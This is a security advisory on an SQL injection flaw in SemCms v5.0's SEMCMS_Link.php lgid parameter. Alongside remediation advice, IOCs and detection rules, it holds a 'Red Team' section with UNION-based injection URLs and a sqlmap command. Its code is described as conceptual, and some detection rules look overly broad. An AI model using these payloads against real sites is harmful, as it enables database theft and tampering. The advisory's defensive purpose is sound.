CVE-2025-51657

Executive Summary

CVE-2025-51657 identifies a critical SQL injection vulnerability in SemCms v5.0, specifically within the SEMCMS_Link.php file via the lgid parameter. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known, and proof-of-concept (PoC) details are available, though no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains high due to the lack of a patch and the critical nature of SQL injection.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP application (SemCms v5.0). No supply chain implications are present.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is unpatched, easily exploitable, and can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability resides in SEMCMS_Link.php. The lgid parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can manipulate the lgid parameter to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Snippet (Conceptual):

$lgid = $_GET['lgid'];
$query = "SELECT * FROM links WHERE id = $lgid";
$result = mysqli_query($conn, $query);

The lack of input validation or prepared statements allows an attacker to inject SQL code. For example, a payload like 1 OR 1=1 would return all records, while 1 UNION SELECT ... could extract data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (SemCms v5.0):

$lgid = $_GET['lgid'];
$query = "SELECT * FROM links WHERE id = $lgid";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$lgid = intval($_GET['lgid']);
$query = "SELECT * FROM links WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $lgid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses intval() to ensure the input is an integer and employs prepared statements to prevent SQL injection. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running SemCms v5.0.
• Network access to the web application.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/SEMCMS_Link.php?lgid=1
2. Test for SQL injection by appending a single quote: http://target/SEMCMS_Link.php?lgid=1'
   • If an error is returned, the application is vulnerable.
3. Use a UNION-based injection to extract data. Example payload:

   http://target/SEMCMS_Link.php?lgid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

   (Adjust column count based on the original query.)
4. Extract database information:

   http://target/SEMCMS_Link.php?lgid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,@@version,user(),database()--
   

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target/SEMCMS_Link.php?lgid=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious lgid parameter values containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
• Implement a Web Application Firewall (WAF) to block SQL injection patterns.
• Use intrusion detection systems (IDS) with signatures for SQL injection.

Mitigation:

• Apply input validation: Ensure lgid is an integer.
• Use prepared statements or parameterized queries.
• If patching is not possible, consider disabling the vulnerable functionality or implementing a virtual patch via WAF.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /SEMCMS_Link.php with abnormal lgid parameter values.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the web server to unexpected IPs (if data exfiltration occurs).

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Unusual entries in database logs.

Log IOCs:

• Web server logs showing repeated requests with SQL injection patterns.
• Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2025_51657_SQLi_SemCms {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-51657 in SemCms v5.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51657"
    strings:
        $s1 = "lgid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "--" nocase
        $s7 = "/*" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: CVE-2025-51657 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against SemCms v5.0 via the lgid parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51657
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "lgid="
        cs-uri-query|contains|any:
            - "UNION"
            - "SELECT"
            - "OR"
            - "AND"
            - "--"
            - "/*"
    condition: selection
falsepositives:
    - Legitimate use of these keywords in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51657 SQL Injection Attempt"; flow:to_server,established; content:"lgid="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the vulnerable SemCms v5.0 instance offline or restrict network access.
2. Apply a virtual patch: Use a WAF to block SQL injection patterns targeting the lgid parameter.
3. Monitor logs: Actively monitor web server and database logs for exploitation attempts.

Long-term Fix:

1. Upgrade: Check for an updated version of SemCms. If none exists, consider migrating to a different, actively maintained CMS.
2. Code Fix: Modify SEMCMS_Link.php to use prepared statements and input validation as shown in the patched code example.
3. Security Hardening: Implement general security best practices, including least privilege for database users, regular security audits, and input validation across the entire application.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.